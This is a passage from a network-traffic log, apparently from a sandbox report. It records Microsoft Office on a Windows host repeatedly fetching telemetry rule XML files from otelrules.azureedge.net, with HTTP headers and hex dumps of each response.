2024-11-18 22:04:21 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:21 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:21 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:21 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 5e3aaffc-501e-0064-42f8-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220421Z-164f84587bfdl84ghC1DFWuvq400000000t000000000nq7v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:21 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:21 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:21 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 68ea2c45-401e-002a-2712-37c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220421Z-164f84587bfsqsthhC1DFWh63000000005kg000000008amg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:22 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:22 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:22 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:22 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 70970467-901e-0016-71b3-39efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220422Z-16547b76f7fkz9l7hC1DFW35uc00000003f000000000f18e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 22:04:22 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:22 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:22 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:22 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: fe042a41-f01e-0003-03af-364453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220422Z-16547b76f7f7zzl8hC1DFWmtag000000057g00000000qztz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:22 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:22 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:22 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 929893a7-101e-0017-74a6-3747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220422Z-16547b76f7fd4rc5hC1DFWkzhw00000006qg00000000czgc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:22 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:22 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:22 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 5d228471-101e-007a-15a6-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220422Z-164f84587bfsqsthhC1DFWh63000000005f000000000ppn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:22 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:23 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:23 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:23 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 9e82d9a1-401e-0047-74f2-398597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220423Z-16547b76f7ftfv4jhC1DFWuhug00000003yg00000000np4h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 22:04:23 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:23 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:23 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:23 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 07de4fd9-201e-0051-6eb1-377340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220423Z-r18f44ddb69pgpd4hC1DFWgac800000000gg000000004pe5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:23 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:23 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:23 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:23 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: a0c7144d-101e-007a-2509-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220423Z-16547b76f7fsq6p7hC1DFWfx6800000004u000000000p5dh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:23 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:23 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:23 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:23 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: d9e69733-b01e-0002-799c-361b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220423Z-164f84587bfs5tz9hC1DFW9a3w00000006cg00000000wkzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:23 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:24 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:24 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:24 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: e612f54f-b01e-003d-2faf-36d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220424Z-16547b76f7fz92z5hC1DFWmdx800000004m000000000y30y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:24 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
